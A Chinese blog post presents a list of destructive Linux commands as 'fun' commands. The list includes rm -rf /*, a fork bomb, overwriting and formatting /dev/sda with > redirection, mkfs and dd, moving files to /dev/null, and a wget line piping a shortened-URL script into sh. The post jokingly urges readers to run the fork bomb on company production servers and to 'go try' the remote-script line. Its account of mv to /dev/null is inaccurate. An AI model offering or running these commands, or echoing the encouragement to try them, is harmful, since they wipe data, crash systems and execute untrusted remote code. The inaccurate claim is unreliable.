在Linux中有很多好玩的命令,有些命令能让你永生不忘!一起来看看吧。
rm -rf /*
rm -rf命令是删除文件夹及其内容最快的方式之一。现对这条命令进行解读。
rm 命令在Linux下通常用来删除文件。
rm -r 命令递归的删除文件夹
rm -f 命令能不经过询问直接删除rm -rf /* : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
表哥提示: 如果是普通文件,尽量当文件的当前目录删除。不要去切换到/(根目录)。同时平时的文件操作用普通管理员登录系统就可以,不要用root账号。
: (){:|:&} ; :
这就是个fork炸弹的实例。具体操作是通过定义一个名为 :的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。:(){:|:&};: 要不在公司正式的服务器上实验下。
> /dev/sda
上列命令会将某个命令的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
mv 文件夹 /dev/null
这个命令会移动某个文件夹到/dev/null。在Linux中 /dev/null 或null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。如下面命令
mv /home/user/* /dev/null
会将User目录所有内容移动到/dev/null,这意味着所有东西都放入到了null之中。
wget http://t.cn/RXefmSn -O- | sh
上列命令会从一个恶意脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。有条件的小伙伴快去试试吧!
mkfs.ext3 /dev/sda
上列命令会格式化块设备sda 就好比是格式化了整块磁盘。以下是Linux中主要的几个文件,这里顺便加以说明:
/bin存放常用系统命令,ls、cp、rm、chmod等常用命令都在此目录;/boot系统启动目录,保存与系统启动相关的文件,如内核文件和启动引导程序;/dev设备文件保存位置;/lib存放程序所需的动态库和静态库文件;
> file
上列命令常用来清空文件内容。将空内容写入到当前的文件。因为已经写入了,是没有办法撤回的。
dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!因为写入了新的数据,想要恢复就困难了。
更多精彩文章 欢迎关注我们